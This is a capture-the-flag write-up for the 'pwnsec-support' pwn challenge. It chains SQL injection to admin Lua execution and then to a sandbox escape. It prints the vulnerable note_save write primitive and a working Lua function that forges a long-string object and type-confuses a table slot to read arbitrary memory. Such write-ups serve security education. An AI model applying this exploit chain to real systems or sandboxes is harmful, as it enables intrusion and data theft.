pwnsec-support

SQLi into a bespoke register VM, then a 4-byte arbitrary write turned into an arbitrary read by type-confusing a Lua table slot.

2026.09.19 PwnSec CTF 2026 142 pts Pwn
FLAG pwnsec{1c7dd69dc0e9b1e9}

Pwn | 142 pts | SQLi, sandbox escape, type confusion

Overview

ctf_sql.l3af is ~11.9 MB of bytecode for a bespoke register VM (l3afvm, “L3AF”) implementing an HTTP ticket-support app plus an embedded, mostly-stock Lua 5.5 interpreter, all running as guest code inside the VM’s own 128 MB flat memory.

Chain

  • SQLi in the /ticket?id= handler (the only handler that does not escape) — UNION-select the admin’s password hash out of users.
  • Log in as root with the leaked hash → admin session token → /admin runs arbitrary Lua (load(code) + pcall, output = print()).
  • The sandbox exposes one native primitive to Lua: note_save(idx, val). Advertised as a ticket-notes helper; actually an unauthenticated 4-byte arbitrary write anywhere in the 128 MB guest address space (mem[idx+16] = val, only an upper-bound check).
  • Turn the write into a read by type-confusing a Lua table slot: forge a table array slot so Lua thinks it holds a long-string GCObject whose data pointer is wherever you want, then read that “string” back through Lua.
  • Use the arbitrary read to string.find the guest’s static data for "pwnsec{" (the flag’s address is not fixed — deployments reseed SQL data, shifting the layout) and print it back through /admin.

Key primitive — note_save

int embedded_note_save(lua_State *L) {
    int idx = luaL_checkinteger(L, 1);
    int val = luaL_checkinteger(L, 2);

    if (idx > 134217728 /* 0x08000000, 128MB */) {
        luaL_error(L, "...");
        return 0;
    }

    *(int32_t *)idx = val;   // raw absolute-address 4-byte store, no lower bound
    return 0;
}
// empirically: the write lands at idx + 16, not idx

Read primitive (Lua, built from the write primitive)

local function read_at(addr, len)
    local fake_ptr = addr - 0x24

    note_save(fake_ptr - 16, 0x00000045)   -- clone a real long-string header
    note_save(fake_ptr - 12, 0x00000000)
    note_save(fake_ptr -  8, 0x00000058)
    note_save(fake_ptr -  4, 0x00000000)
    note_save(fake_ptr +  0, fake_ptr - 0x20)
    note_save(fake_ptr +  4, 0xff001014)
    note_save(fake_ptr +  8, 0x07003667)
    note_save(fake_ptr + 12, len)          -- the length that matters
    note_save(fake_ptr + 16, fake_ptr + 0x14)

    local t  = {0, 0}
    local ta = tonumber(string.format("%p", t), 16)

    note_save(ta + 0x3c - 16, fake_ptr)    -- t[1] value slot = fake_ptr
    note_save(ta + 0x44 - 16, 0x0354)      -- t[1] tag byte  = long string

    local ok, v = pcall(function() return t[1] end)
    return ok and v or nil
end

Result

Scanning guest memory in 64 KB windows for the "pwnsec{" prefix found the flag at guest offset 0x1caab0 on the live deployment: pwnsec{1c7dd69dc0e9b1e9}. The flag is instance-specific (re-seeded per deploy), so the scan re-derives the address each run instead of hardcoding an offset.

#lua#sqli#type-confusion#sandbox-escape